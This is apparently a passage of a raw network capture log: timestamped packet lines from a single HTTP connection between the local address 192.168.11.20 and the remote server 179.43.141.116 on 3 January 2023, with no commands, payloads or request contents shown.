                                                                              Jan 3, 2023 08:16:06.391086102 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391088009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391088009 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391096115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391107082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391118050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391128063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391148090 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391159058 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391169071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391180038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391185999 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391185999 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391199112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391210079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391236067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391236067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391236067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391236067 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391251087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391262054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391273022 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391283989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391283989 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391308069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391318083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391329050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391333103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391345024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391355038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391366005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391376019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391381979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391381979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391386986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391397953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391408920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391418934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391429901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391441107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391460896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391472101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391479969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391479969 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391482115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391493082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391503096 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391514063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391524076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391529083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391529083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391535044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391545057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391565084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391576052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391577959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391577959 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391586065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391597033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391617060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391627073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391627073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391627073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391680002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391683102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391683102 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391693115 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391705036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391716003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391725063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391725063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391726971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391737938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391748905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391761065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391772032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391782999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391793966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391804934 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391815901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391828060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391839027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391846895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391846895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391875029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391885996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391895056 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391928911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391941071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391952038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391963005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391973972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391984940 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.391993046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391993046 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.391995907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392007113 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392018080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392029047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392040014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392041922 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392050982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392061949 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392086029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392091036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392091036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392091036 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392096043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392107010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392117023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392127991 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392138004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392139912 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392148972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392158985 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392189026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392189026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392189026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392193079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392205000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392232895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392245054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392256021 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392266989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392287016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392292023 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392307043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392323971 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392335892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392359972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392370939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392379045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392379045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392380953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392410040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392421007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392426968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392426968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392445087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392455101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392466068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392476082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392477036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392488003 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392498016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392508984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392518997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392524958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392524958 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392529964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392539978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392549992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392574072 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392579079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392591000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392613888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392622948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392622948 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392626047 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392636061 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392647028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.392672062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392770052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.392770052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408570051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408602953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408622026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408632994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408674955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408688068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408696890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408696890 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408699036 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408724070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408775091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408798933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408809900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408821106 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408830881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408842087 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408848047 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408853054 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408876896 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408889055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408912897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408922911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408934116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408943892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408950090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408950090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408950090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.408955097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408966064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.408976078 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409029007 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409076929 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409126043 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409176111 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409199953 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409214020 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409224987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409235954 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409244061 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409245968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409256935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409267902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409277916 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409288883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409298897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409308910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409320116 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409329891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409341097 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409351110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409360886 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409370899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409379005 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409382105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409393072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409403086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409414053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409424067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409426928 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409435034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409446001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409456015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409466982 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409476995 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409477949 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409487963 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409497976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409508944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409518957 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409526110 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409529924 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409539938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409550905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409560919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409570932 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409574986 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409581900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409591913 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409603119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409612894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409622908 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409636974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409657955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409657955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409681082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409719944 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409744024 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409774065 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409785032 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409790039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409795046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409821033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409832001 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409856081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409857035 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409857035 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409867048 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409877062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409888029 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409898996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409904003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409904003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.409909964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409919977 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409934044 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409944057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409976959 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.409987926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410010099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410010099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410010099 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410012960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410022974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410033941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410043955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410053015 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410054922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410064936 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410075903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410085917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410096884 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410106897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410118103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410128117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410149097 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410151958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410164118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410187960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410200119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410207033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410207033 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410211086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410254955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410254955 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410288095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410300016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410310030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410320997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410331011 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410352945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410352945 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410356998 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410367966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410392046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410402060 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410403013 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410413980 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410423994 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410434008 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410444975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410450935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410450935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410450935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410455942 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410465956 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410476923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410486937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410497904 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410501003 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410507917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410550117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410550117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410550117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410550117 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410598040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410646915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410646915 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.410670042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.410681009 CET8049869179.43.141.116192.168.11.20
